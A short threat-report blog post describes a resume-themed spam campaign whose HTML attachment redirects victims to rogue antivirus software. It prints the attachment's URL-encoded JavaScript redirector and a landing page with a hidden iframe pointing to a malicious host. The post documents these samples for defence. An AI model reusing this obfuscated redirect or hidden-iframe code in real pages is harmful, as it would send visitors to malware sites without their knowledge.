Resume emails with attached file Resume.html leads to rogue AV software


MX Lab intercepts emails with the subject Resume, an attached file Resume.html and a very short email body:

Attached, please find

The attached HTML file contains the following code:

<SCRIPT LANGUAGE=”Javascript”><!-
//
function xhtmldecode(x){
document.write(unescape(x))
}
function runit(){
x=”%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%
72%65%66%72%65%73%68%22%20%63%6F%6E%74%65%6E%74%3D%22%30%3B
%75%72%6C%3D%68%74%74%70%3A%2F%2F%77%69%6D%62%65%72%74%2E%
6E%6C%2F%78%2E%68%74%6D%6C%22%3E%0D%0A”
xhtmldecode(x)
}
runit()
//->
</script>

<SCRIPT LANGUAGE=”Javascript”><!-//function xhtmldecode(x){document.write(unescape(x))}function runit(){x=”%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%
3D%22%72%65%66%72%65%73%68%22%20%63%6F%6E%74%65%6E%74%3D%
22%30%3B%75%72%6C%3D%68%74%74%70%3A%2F%2F%77%69%6D%62%65%
72%74%2E%6E%6C%2F%78%2E%68%74%6D%6C%22%3E%0D%0A”
xhtmldecode(x)}runit()//-></script>

When opening the attached HTML file you are directed to a web site witht he following code:

PLEASE WAITING 4 SECOND...
  <meta http-equiv="refresh" content="4;
url=hxxp://brocuphdislock.cz.cc/scanner10/?afid=24">
</head><body>
<iframe src="hxxp://cherrysolo.ru:8080/index.php?pid=10"
style="visibility: hidden;" height="1" width="1"></iframe>
</body></html>

After 4 seconds you will get redirected to hxxp://brocuphdislock.cz.cc/scanner10/?afid=24. On our Mac computer we got the following screen.

It stayed like this for quite a while so I guess that the scripting of this site doesn’t work too well on a Mac computer. At MX Lab, we believe that this is a new campaign to distribute the rogua anti virus software antivirus_24.exe as mentioned in earlier blog articles:

Campaign with emails that lead to rogue AV software antivirus_24.exe continues
